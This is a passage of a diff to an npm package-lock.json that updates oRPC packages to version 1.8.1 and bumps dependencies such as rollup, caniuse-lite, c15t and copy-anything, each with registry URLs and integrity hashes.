+ "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.37.0.tgz",
+ "integrity": "sha512-JD6DerIKdJGmRp4jQyX5FlrQjA4tjOw1cvfsPAZXfOOEErMUHjPcPSICS+6WnM0nB0efSFARh0KAZss+bvExOA==",
"license": "Apache-2.0",
"engines": {
"node": ">=14"
}
},
"node_modules/@orpc/client": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@orpc/client/-/client-1.2.0.tgz",
- "integrity": "sha512-Wt1il08fs6l9YK8TIjLmMBwb7MzzO8+3aOxFMs7RaQE3iGQ9Ox7ImomSPV8lhxQpWefpDN9fqOCH6pOid6cH6Q==",
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/client/-/client-1.8.1.tgz",
+ "integrity": "sha512-ewofUqn46yHQxnAOFLwZspQD1k3DPTUCnkqP6aFO1alUMHgLFNb03BKd1rgwUXSWaxWltKD8Db07HNxgltdk4A==",
"license": "MIT",
"dependencies": {
- "@orpc/shared": "1.2.0",
- "@orpc/standard-server": "1.2.0",
- "@orpc/standard-server-fetch": "1.2.0",
- "@orpc/standard-server-peer": "1.2.0"
+ "@orpc/shared": "1.8.1",
+ "@orpc/standard-server": "1.8.1",
+ "@orpc/standard-server-fetch": "1.8.1",
+ "@orpc/standard-server-peer": "1.8.1"
}
},
"node_modules/@orpc/contract": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@orpc/contract/-/contract-1.2.0.tgz",
- "integrity": "sha512-hl90EmPYtP4oMK2+93yocgDaah95tXi3YQbmdgQuKCec4x4GAn85LbHze4G8pPZ5BiSjNSBpyykRV4uA4E5zbA==",
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/contract/-/contract-1.8.1.tgz",
+ "integrity": "sha512-zw0xgRxOyR/otX+4UeGEm0VjuMH/AeVbEuWvPNRJC8xxvQpaPJFo8Nr8eaywqSUZo1DnIS+pkwsdipa7GgFl7A==",
"license": "MIT",
"dependencies": {
- "@orpc/client": "1.2.0",
- "@orpc/shared": "1.2.0",
- "@standard-schema/spec": "^1.0.0"
- }
- },
- "node_modules/@orpc/openapi": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@orpc/openapi/-/openapi-1.2.0.tgz",
- "integrity": "sha512-yZ5RWyBSltHuSrh17wdjA69OcbQwjeBrKecTRe1ORJmaIMHFSW/aDij/nBYzWHspJPcD911j3vsD6CjVvz8k9Q==",
- "license": "MIT",
- "dependencies": {
- "@orpc/client": "1.2.0",
- "@orpc/contract": "1.2.0",
- "@orpc/openapi-client": "1.2.0",
- "@orpc/server": "1.2.0",
- "@orpc/shared": "1.2.0",
- "@orpc/standard-server": "1.2.0",
- "json-schema-typed": "^8.0.1",
- "openapi-types": "^12.1.3",
- "rou3": "^0.6.0"
- }
- },
- "node_modules/@orpc/openapi-client": {
- "version": "1.7.5",
- "resolved": "https://registry.npmjs.org/@orpc/openapi-client/-/openapi-client-1.7.5.tgz",
- "integrity": "sha512-3N18WR3mRz5kpO06+peTtJF4nrSWvqQDZgbcIoX7loFcKrGmT9KdAtIOrc+5zUi7UVYNiO7RP9Ha4Y/HrD7mLg==",
- "license": "MIT",
- "dependencies": {
- "@orpc/client": "1.7.5",
- "@orpc/contract": "1.7.5",
- "@orpc/shared": "1.7.5",
- "@orpc/standard-server": "1.7.5"
- }
- },
- "node_modules/@orpc/openapi-client/node_modules/@orpc/client": {
- "version": "1.7.5",
- "resolved": "https://registry.npmjs.org/@orpc/client/-/client-1.7.5.tgz",
- "integrity": "sha512-UA4uJAOdy2SM/c7/tQVvS4+fYiBmFn7/8NxhCV3GfY6cBnxPBf83v1jC25ZtGrfyc2RY/+7dwdpKRdQXI2Biaw==",
- "license": "MIT",
- "dependencies": {
- "@orpc/shared": "1.7.5",
- "@orpc/standard-server": "1.7.5",
- "@orpc/standard-server-fetch": "1.7.5",
- "@orpc/standard-server-peer": "1.7.5"
- }
- },
- "node_modules/@orpc/openapi-client/node_modules/@orpc/contract": {
- "version": "1.7.5",
- "resolved": "https://registry.npmjs.org/@orpc/contract/-/contract-1.7.5.tgz",
- "integrity": "sha512-Q2XaOJEBzxc7PZ40DIoFJgAPBn6Z8SUYE/tb4N3ynUOjsqMsexhm++cyPzsp+qDG5okO+t3cPY2H5K2YdgTNdw==",
- "license": "MIT",
- "dependencies": {
- "@orpc/client": "1.7.5",
- "@orpc/shared": "1.7.5",
+ "@orpc/client": "1.8.1",
+ "@orpc/shared": "1.8.1",
"@standard-schema/spec": "^1.0.0",
"openapi-types": "^12.1.3"
}
},
- "node_modules/@orpc/openapi-client/node_modules/@orpc/shared": {
- "version": "1.7.5",
- "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.7.5.tgz",
- "integrity": "sha512-kEXags36EeL0rYVVJ30OQ6lIB8YySE2A/0wYw1kdi5g/KO6xXDE2W5LRsm3SU2UljG0AqXggIL9IKaWOl/qwAw==",
+ "node_modules/@orpc/interop": {
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/interop/-/interop-1.8.1.tgz",
+ "integrity": "sha512-TA2AQREo3tKQheHPvVs5PY1PqDnNUFGO3c8eb6lrX53npOD6lMi6IPedzeEHaZCqb17bRZ9Skc9Fg1FZ30ckug==",
+ "license": "MIT"
+ },
+ "node_modules/@orpc/json-schema": {
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/json-schema/-/json-schema-1.8.1.tgz",
+ "integrity": "sha512-i3qaaW0iKreD8tgRCqQbqn69LZT2f3f80+idLUeq7zHmHtbhoYlPEmtCfz29+casM719gWkI6QDRtMhDpfQlgw==",
+ "license": "MIT",
+ "dependencies": {
+ "@orpc/contract": "1.8.1",
+ "@orpc/interop": "1.8.1",
+ "@orpc/openapi": "1.8.1",
+ "@orpc/server": "1.8.1",
+ "@orpc/shared": "1.8.1"
+ }
+ },
+ "node_modules/@orpc/openapi": {
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/openapi/-/openapi-1.8.1.tgz",
+ "integrity": "sha512-G1qMCjpVGxJYrU0vMdYOr2WxSiX9C6ZhvafgKN7vOGqC7O5s1D+Ph/cSUe1R9OPZZPouhw75MNjTtKYP5lOrcA==",
+ "license": "MIT",
+ "dependencies": {
+ "@orpc/client": "1.8.1",
+ "@orpc/contract": "1.8.1",
+ "@orpc/interop": "1.8.1",
+ "@orpc/openapi-client": "1.8.1",
+ "@orpc/server": "1.8.1",
+ "@orpc/shared": "1.8.1",
+ "@orpc/standard-server": "1.8.1",
+ "rou3": "^0.7.3"
+ }
+ },
+ "node_modules/@orpc/openapi-client": {
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/openapi-client/-/openapi-client-1.8.1.tgz",
+ "integrity": "sha512-DlBdRcn0lz2lzBis+d6zfVD8tZ7hM5S0uCjL3jNLNp/3T7RMSbhz/6egBCQW1vRh+kXhBjVyGs1mYEYd7ZWEZw==",
+ "license": "MIT",
+ "dependencies": {
+ "@orpc/client": "1.8.1",
+ "@orpc/contract": "1.8.1",
+ "@orpc/shared": "1.8.1",
+ "@orpc/standard-server": "1.8.1"
+ }
+ },
+ "node_modules/@orpc/otel": {
+ "version": "1.10.3",
+ "resolved": "https://registry.npmjs.org/@orpc/otel/-/otel-1.10.3.tgz",
+ "integrity": "sha512-dH+JhDyE8WGBP9MmqZYtk42b7+iI0CNpHWqLKNKs6Ac/ovroLIUR+DpeU90BkkH3ieEyiJy2Gcdj+burZb++4g==",
+ "license": "MIT",
+ "dependencies": {
+ "@orpc/shared": "1.10.3"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.9.0",
+ "@opentelemetry/instrumentation": ">=0.203.0"
+ }
+ },
+ "node_modules/@orpc/otel/node_modules/@orpc/shared": {
+ "version": "1.10.3",
+ "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.10.3.tgz",
+ "integrity": "sha512-BOVQ47V1o47gURvvnqjtnCoYxMSRDyOi8KxyGZO72MIqY3sLtUHOmosLBoMWYla487YiIyoXlWU7Lo32jYvJbw==",
"license": "MIT",
"dependencies": {
"radash": "^12.1.1",
- "type-fest": "^4.39.1"
+ "type-fest": "^5.1.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.9.0"
+ },
+ "peerDependenciesMeta": {
+ "@opentelemetry/api": {
+ "optional": true
+ }
}
},
- "node_modules/@orpc/openapi-client/node_modules/@orpc/standard-server": {
- "version": "1.7.5",
- "resolved": "https://registry.npmjs.org/@orpc/standard-server/-/standard-server-1.7.5.tgz",
- "integrity": "sha512-hEFqOin/H53+WmG4M0hfeAx/E2mAEp5Gzz12ufK9nmddbrbpkT8KBKCrs6iHPnJkjvYwB7f1EItrtgmBPAYOXg==",
- "license": "MIT",
+ "node_modules/@orpc/otel/node_modules/type-fest": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-5.2.0.tgz",
+ "integrity": "sha512-xxCJm+Bckc6kQBknN7i9fnP/xobQRsRQxR01CztFkp/h++yfVxUUcmMgfR2HttJx/dpWjS9ubVuyspJv24Q9DA==",
+ "license": "(MIT OR CC0-1.0)",
"dependencies": {
- "@orpc/shared": "1.7.5"
- }
- },
- "node_modules/@orpc/openapi-client/node_modules/@orpc/standard-server-fetch": {
- "version": "1.7.5",
- "resolved": "https://registry.npmjs.org/@orpc/standard-server-fetch/-/standard-server-fetch-1.7.5.tgz",
- "integrity": "sha512-O/HWpKd3vObiTYCS+wWfQiuX+rhzL4whgEPdF4kBAXmxxxV93q1aF3ZfldYC3qsHMtEzA0mVDHyhonsajaBefA==",
- "license": "MIT",
- "dependencies": {
- "@orpc/shared": "1.7.5",
- "@orpc/standard-server": "1.7.5"
- }
- },
- "node_modules/@orpc/openapi-client/node_modules/@orpc/standard-server-peer": {
- "version": "1.7.5",
- "resolved": "https://registry.npmjs.org/@orpc/standard-server-peer/-/standard-server-peer-1.7.5.tgz",
- "integrity": "sha512-bP//D18Qlj3Rh8Udl88KtKwVv/wGzLQ5++XlSQutMe0ENGmqUDz/sf+PtZtezk0nU5pjhBNU7L9u3cU+BN4Xcw==",
- "license": "MIT",
- "dependencies": {
- "@orpc/shared": "1.7.5",
- "@orpc/standard-server": "1.7.5"
- }
- },
- "node_modules/@orpc/openapi/node_modules/@orpc/openapi-client": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@orpc/openapi-client/-/openapi-client-1.2.0.tgz",
- "integrity": "sha512-f3eK9vfwbc2Ni3tQJrhHJb8BCxdCqDoUZ/hvoAhSieYROK5p+cB67+biI3zD/XNaee9xHbC/SyWa1ThtvTEgmg==",
- "license": "MIT",
- "dependencies": {
- "@orpc/client": "1.2.0",
- "@orpc/contract": "1.2.0",
- "@orpc/shared": "1.2.0",
- "@orpc/standard-server": "1.2.0"
+ "tagged-tag": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=20"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
}
},
"node_modules/@orpc/server": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@orpc/server/-/server-1.2.0.tgz",
- "integrity": "sha512-EQARc4PEcS3ndkL+Es87M1BZru5x7q49q7Ivcd6tWFpA9Hn6n08WgiJDqDRDMoEeEJlzG5AzI+eXxvF1hR9Cdg==",
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/server/-/server-1.8.1.tgz",
+ "integrity": "sha512-Aei7KJSMG9daNdubREeDYKCnmSRTnZT7V1Cx0NFLYDYqx8Bdil2J2InJghsio6AZdJUWLNq/zMm6QDu3NN2E6g==",
"license": "MIT",
"dependencies": {
- "@orpc/client": "1.2.0",
- "@orpc/contract": "1.2.0",
- "@orpc/shared": "1.2.0",
- "@orpc/standard-server": "1.2.0",
- "@orpc/standard-server-fetch": "1.2.0",
- "@orpc/standard-server-node": "1.2.0",
- "@orpc/standard-server-peer": "1.2.0"
+ "@orpc/client": "1.8.1",
+ "@orpc/contract": "1.8.1",
+ "@orpc/interop": "1.8.1",
+ "@orpc/shared": "1.8.1",
+ "@orpc/standard-server": "1.8.1",
+ "@orpc/standard-server-aws-lambda": "1.8.1",
+ "@orpc/standard-server-fetch": "1.8.1",
+ "@orpc/standard-server-node": "1.8.1",
+ "@orpc/standard-server-peer": "1.8.1",
+ "cookie": "^1.0.2"
},
"peerDependencies": {
"crossws": ">=0.3.4",
@@ -3018,79 +3515,101 @@
}
}
},
+ "node_modules/@orpc/server/node_modules/cookie": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.0.2.tgz",
+ "integrity": "sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ }
+ },
"node_modules/@orpc/shared": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.2.0.tgz",
- "integrity": "sha512-Y01Q4dS/vlxWfV4cEAmMSWaitbIqp6yFXgin/rIEtciwXr5X1YRw80+dtu91eLWAmEaOCOL/BcyACinqEvc/DQ==",
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.8.1.tgz",
+ "integrity": "sha512-tlKvjSpqV54tG7tWwBjBcg/RziszZhWNp4Md2ERpLn+hnzgp8XyD0TEFLjWRm1RBAsZptqe/OlYIVEqNa3rg2g==",
"license": "MIT",
"dependencies": {
- "radash": "^12.1.0",
+ "radash": "^12.1.1",
"type-fest": "^4.39.1"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.9.0"
+ },
+ "peerDependenciesMeta": {
+ "@opentelemetry/api": {
+ "optional": true
+ }
}
},
"node_modules/@orpc/standard-server": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@orpc/standard-server/-/standard-server-1.2.0.tgz",
- "integrity": "sha512-EJ9GqNwK6gGfcdoQGgAJsVZ2c4HFcvkq8TJOUDdv6DFl/GmViIU2log0o4K83C5B9vNIYRahk26hOOFp9sdQAQ==",
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/standard-server/-/standard-server-1.8.1.tgz",
+ "integrity": "sha512-SgVoxnmRAhrF0usZcz72F8FcneM4Rp+UYMhggwwnCEtjKtKXddg89J/to2bkpH/P5x8JMVI/uE2YXRG8CtU6Cg==",
"license": "MIT",
"dependencies": {
- "@orpc/shared": "1.2.0"
+ "@orpc/shared": "1.8.1"
+ }
+ },
+ "node_modules/@orpc/standard-server-aws-lambda": {
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/standard-server-aws-lambda/-/standard-server-aws-lambda-1.8.1.tgz",
+ "integrity": "sha512-5db2k1nhdySkYXMMXCxMuZIXDgo04rrZ6qqIEr1cvKnW5OHadcvxysfMa60WMA4Mzm3pypl2WJKGy36mdm6R8Q==",
+ "license": "MIT",
+ "dependencies": {
+ "@orpc/shared": "1.8.1",
+ "@orpc/standard-server": "1.8.1",
+ "@orpc/standard-server-fetch": "1.8.1",
+ "@orpc/standard-server-node": "1.8.1"
}
},
"node_modules/@orpc/standard-server-fetch": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@orpc/standard-server-fetch/-/standard-server-fetch-1.2.0.tgz",
- "integrity": "sha512-2gNOSkmgoWD1L3LWr5/47C8PibsMnFr4GCU7VXKtyFo0ejsP51hxgwnetFwDeKfDWugEtjNzk19xsvN09Vj4Ug==",
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/standard-server-fetch/-/standard-server-fetch-1.8.1.tgz",
+ "integrity": "sha512-HZNTuLitB6X2nVPBfpbKvHRPNL7LV4J9+mQxr+Xi/hU2I6Fr2KWjNmAxcH1Fn6cOsJ09q9RFIaikUC88CQMnlA==",
"license": "MIT",
"dependencies": {
- "@orpc/shared": "1.2.0",
- "@orpc/standard-server": "1.2.0"
+ "@orpc/shared": "1.8.1",
+ "@orpc/standard-server": "1.8.1"
}
},
"node_modules/@orpc/standard-server-node": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@orpc/standard-server-node/-/standard-server-node-1.2.0.tgz",
- "integrity": "sha512-ZRUAZKxQWwzJuHWUsskK5+E+V1mx21eJtGihJRnk5VZWiK8ooA/0g4Kvf8v5ewfyahFLjDsRPEJJV2UZLUlVtg==",
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/standard-server-node/-/standard-server-node-1.8.1.tgz",
+ "integrity": "sha512-+hKShhdAM2ljCbfvFjZQVhcpZjVXCgrz3ysTNKRsIR+E3aiYXffylL6RDOjLAjfvQyRy7wsPVxPjyqUHGXX4vg==",
"license": "MIT",
"dependencies": {
- "@orpc/shared": "1.2.0",
- "@orpc/standard-server": "1.2.0"
+ "@orpc/shared": "1.8.1",
+ "@orpc/standard-server": "1.8.1",
+ "@orpc/standard-server-fetch": "1.8.1"
}
},
"node_modules/@orpc/standard-server-peer": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@orpc/standard-server-peer/-/standard-server-peer-1.2.0.tgz",
- "integrity": "sha512-G6shbGltkxpYVeQiJEOAQnlCyxKGzMi5vzL3+EMggCqm6ykt3UIR3+QEcey1x7OKXopienjh6Rq+i7IwVBI+ZA==",
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/standard-server-peer/-/standard-server-peer-1.8.1.tgz",
+ "integrity": "sha512-QDGfi/P0HKxFQCoDUOsIaIfO1KK10qoXDmd6ZfZF9DwFKrnqE6AEpMgz/TVDqLb6mFUzMtvdjrPga8uO9QdnbQ==",
"license": "MIT",
"dependencies": {
- "@orpc/shared": "1.2.0",
- "@orpc/standard-server": "1.2.0"
+ "@orpc/shared": "1.8.1",
+ "@orpc/standard-server": "1.8.1"
}
},
"node_modules/@orpc/zod": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@orpc/zod/-/zod-1.2.0.tgz",
- "integrity": "sha512-Ua1fJpFvZsn1Cf2bM1dmjJckU7V7rYlaSlumNLNpOZcaH0NZ2b7e/ffY/MeB8GtWACyzggZ5lj/Jtc79WdUuVw==",
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/@orpc/zod/-/zod-1.8.1.tgz",
+ "integrity": "sha512-2tVvLnPx5xxb2H93FYWfAGFA9N7IrVf8/Bv5aUEg11LiHaYBzDEBwyssiOXQL7/57RJ8RQbpvKYmr19hVrmj8g==",
"license": "MIT",
"dependencies": {
- "@orpc/openapi": "1.2.0",
- "@orpc/shared": "1.2.0",
+ "@orpc/json-schema": "1.8.1",
+ "@orpc/openapi": "1.8.1",
+ "@orpc/shared": "1.8.1",
"escape-string-regexp": "^5.0.0",
"wildcard-match": "^5.1.3"
},
"peerDependencies": {
- "@orpc/contract": "1.2.0",
- "@orpc/server": "1.2.0",
- "@zod/core": ">=0.11.4",
- "zod": ">=3.24.2"
- },
- "peerDependenciesMeta": {
- "@zod/core": {
- "optional": true
- },
- "zod": {
- "optional": true
- }
+ "@orpc/contract": "1.8.1",
+ "@orpc/server": "1.8.1",
+ "zod": ">=3.25.0"
}
},
"node_modules/@oxlint/darwin-arm64": {
@@ -3205,6 +3724,26 @@
"win32"
]
},
+ "node_modules/@paralleldrive/cuid2": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/@paralleldrive/cuid2/-/cuid2-2.3.1.tgz",
+ "integrity": "sha512-XO7cAxhnTZl0Yggq6jOgjiOHhbgcO4NqFqwSmQpjK3b6TEE6Uj/jfSk6wzYyemh3+I0sHirKSetjQwn5cZktFw==",
+ "license": "MIT",
+ "dependencies": {
+ "@noble/hashes": "^1.1.5"
+ }
+ },
+ "node_modules/@pkgjs/parseargs": {
+ "version": "0.11.0",
+ "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz",
+ "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==",
+ "license": "MIT",
+ "optional": true,
+ "peer": true,
+ "engines": {
+ "node": ">=14"
+ }
+ },
"node_modules/@protobufjs/aspromise": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz",
@@ -3624,9 +4163,9 @@
}
},
"node_modules/@rollup/rollup-linux-x64-gnu": {
- "version": "4.46.1",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.46.1.tgz",
- "integrity": "sha512-9OADZYryz/7E8/qt0vnaHQgmia2Y0wrjSSn1V/uL+zw/i7NUhxbX4cHXdEQ7dnJgzYDS81d8+tf6nbIdRFZQoQ==",
+ "version": "4.52.5",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.52.5.tgz",
+ "integrity": "sha512-hXGLYpdhiNElzN770+H2nlx+jRog8TyynpTVzdlc6bndktjKWyZyiCsuDAlpd+j+W+WNqfcyAWz9HxxIGfZm1Q==",
"cpu": [
"x64"
],
@@ -3774,6 +4313,13 @@
"dev": true,
"license": "MIT"
},
+ "node_modules/@sqltools/formatter": {
+ "version": "1.2.5",
+ "resolved": "https://registry.npmjs.org/@sqltools/formatter/-/formatter-1.2.5.tgz",
+ "integrity": "sha512-Uy0+khmZqUrUGm5dmMqVlnvufZRSK0FbYzVgp0UMstm+F5+W2/jnEEQyc9vo1ZR/E5ZI/B1WjjoTqBqwJL6Krw==",
+ "license": "MIT",
+ "peer": true
+ },
"node_modules/@standard-schema/spec": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.0.0.tgz",
@@ -4334,12 +4880,6 @@
"csstype": "^3.0.2"
}
},
- "node_modules/@types/shimmer": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@types/shimmer/-/shimmer-1.2.0.tgz",
- "integrity": "sha512-UE7oxhQLLd9gub6JKIAhDq06T0F6FnztwMNRvYgjeQSBeMc1ZG/tA47EwfduvkuQS8apbkM/lpLpWsaCeYsXVg==",
- "license": "MIT"
- },
"node_modules/@types/unist": {
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz",
@@ -4547,7 +5087,6 @@
"version": "6.1.0",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
"integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
- "dev": true,
"license": "MIT",
"engines": {
"node": ">=12"
@@ -4560,7 +5099,6 @@
"version": "6.2.1",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
"integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
- "dev": true,
"license": "MIT",
"engines": {
"node": ">=12"
@@ -4569,6 +5107,16 @@
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
+ "node_modules/ansis": {
+ "version": "3.17.0",
+ "resolved": "https://registry.npmjs.org/ansis/-/ansis-3.17.0.tgz",
+ "integrity": "sha512-0qWUglt9JEqLFr3w1I1pbrChn1grhaiAR2ocX1PP/flRmxgtwTzPFFFnfIlD6aMOLQZgSuCRlidD70lvx8yhzg==",
+ "license": "ISC",
+ "peer": true,
+ "engines": {
+ "node": ">=14"
+ }
+ },
"node_modules/anymatch": {
"version": "3.1.3",
"resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
@@ -4583,6 +5131,16 @@
"node": ">= 8"
}
},
+ "node_modules/app-root-path": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/app-root-path/-/app-root-path-3.1.0.tgz",
+ "integrity": "sha512-biN3PwB2gUtjaYy/isrU3aNWI5w+fAfvHkSvCKeQGxhmYpwKFUxudR3Yya+KqVRHBmEDYh+/lTozYCFbmzX4nA==",
+ "license": "MIT",
+ "peer": true,
+ "engines": {
+ "node": ">= 6.0.0"
+ }
+ },
"node_modules/argparse": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
@@ -4711,7 +5269,6 @@
"version": "1.0.7",
"resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz",
"integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==",
- "dev": true,
"license": "MIT",
"dependencies": {
"possible-typed-array-names": "^1.0.0"
@@ -4767,7 +5324,6 @@
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
"integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
- "dev": true,
"license": "MIT"
},
"node_modules/bare-events": {
@@ -4857,7 +5413,6 @@
"version": "1.5.1",
"resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
"integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
- "dev": true,
"funding": [
{
"type": "github",
@@ -5043,15 +5598,15 @@
}
},
"node_modules/c15t": {
- "version": "1.4.4",
- "resolved": "https://registry.npmjs.org/c15t/-/c15t-1.4.4.tgz",
- "integrity": "sha512-u7iwyjCuKePWX9EXv2CEQe3XYPAJeEyPGqyJfXlxt/Dd6fSqAKHUaX/Xf6QWi97AaIehp8QjcJw8Ka4kPds7eg==",
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/c15t/-/c15t-1.6.0.tgz",
+ "integrity": "sha512-ZuphxalLCQoaktLrioBikiziHb8sYue3InPNWcaACxwmke/eTR58UZ2fXa5O4cfrI03Q8GVGVem1Cnl6ewn5mg==",
"license": "GPL-3.0-only",
"dependencies": {
- "@c15t/backend": "1.4.2",
- "@c15t/translations": "1.4.2",
- "@orpc/client": "1.2.0",
- "@orpc/server": "1.2.0",
+ "@c15t/backend": "1.6.0",
+ "@c15t/translations": "1.6.0",
+ "@orpc/client": "1.8.1",
+ "@orpc/server": "1.8.1",
"zustand": "^5.0.3"
}
},
@@ -5088,7 +5643,6 @@
"version": "1.0.8",
"resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz",
"integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==",
- "dev": true,
"license": "MIT",
"dependencies": {
"call-bind-apply-helpers": "^1.0.0",
@@ -5107,7 +5661,6 @@
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
"integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
- "dev": true,
"license": "MIT",
"dependencies": {
"es-errors": "^1.3.0",
@@ -5121,7 +5674,6 @@
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
"integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
- "dev": true,
"license": "MIT",
"dependencies": {
"call-bind-apply-helpers": "^1.0.2",
@@ -5145,9 +5697,9 @@
}
},
"node_modules/caniuse-lite": {
- "version": "1.0.30001727",
- "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001727.tgz",
- "integrity": "sha512-pB68nIHmbN6L/4C6MH1DokyR3bYqFwjaSs/sWDHGj4CTcFtQUQMuJftVwWkXq7mNWOybD3KhUv3oWHoGxgP14Q==",
+ "version": "1.0.30001753",
+ "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001753.tgz",
+ "integrity": "sha512-Bj5H35MD/ebaOV4iDLqPEtiliTN29qkGtEHCwawWn4cYm+bPJM2NsaP30vtZcnERClMzp52J4+aw2UNbK4o+zw==",
"funding": [
{
"type": "opencollective",
@@ -5677,15 +6229,15 @@
"license": "MIT"
},
"node_modules/copy-anything": {
- "version": "3.0.5",
- "resolved": "https://registry.npmjs.org/copy-anything/-/copy-anything-3.0.5.tgz",
- "integrity": "sha512-yCEafptTtb4bk7GLEQoM8KVJpxAfdBJYaXyzQEgQQQgYrZiDp8SJmGKlYza6CYjEDNstAdNdKA3UuoULlEbS6w==",
+ "version": "4.0.5",
+ "resolved": "https://registry.npmjs.org/copy-anything/-/copy-anything-4.0.5.tgz",
+ "integrity": "sha512-7Vv6asjS4gMOuILabD3l739tsaxFQmC+a7pLZm02zyvs8p977bL3zEgq3yDk5rn9B0PbYgIv++jmHcuUab4RhA==",
"license": "MIT",
"dependencies": {
- "is-what": "^4.1.8"
+ "is-what": "^5.2.0"
},
"engines": {
- "node": ">=12.13"
+ "node": ">=18"
},
"funding": {
